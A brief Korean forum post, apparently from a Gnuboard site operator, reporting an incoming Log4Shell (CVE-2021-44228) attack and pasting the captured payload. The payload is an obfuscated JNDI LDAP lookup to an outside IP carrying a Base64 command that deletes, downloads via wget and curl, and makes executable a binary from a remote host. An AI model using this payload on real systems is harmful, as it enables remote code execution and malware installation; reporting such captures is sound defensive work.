[그누보드] Log4Shell 취약점 공격 들어옴
Log4Shell 취약점(CVE-2021-44228) 공격 공격 인코딩 내용t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//141.#.#.97:6583/TomcatBypass/Command/Base64/cm0gLXJmIC90bXAvcGFyYWlzby54ODYgOyB3Z2V0IC1PIC90bXAvcGFyYWlzby54ODYgaHR0cDovLzE0MS4xNDcuNzQuMTUvc3lzdGVtMzIvcGFyYWlzby54ODYgOyBjdXJsIC1vIC90bXAvcGFyYWlzby54ODYgaHR0cDovLzE0MS4xNDcuNzQuMTUvc3lzdGVtMzIvcGFyYWlzby54ODYgOyBjaG1vZCAreCAvdG1wL3BhcmF..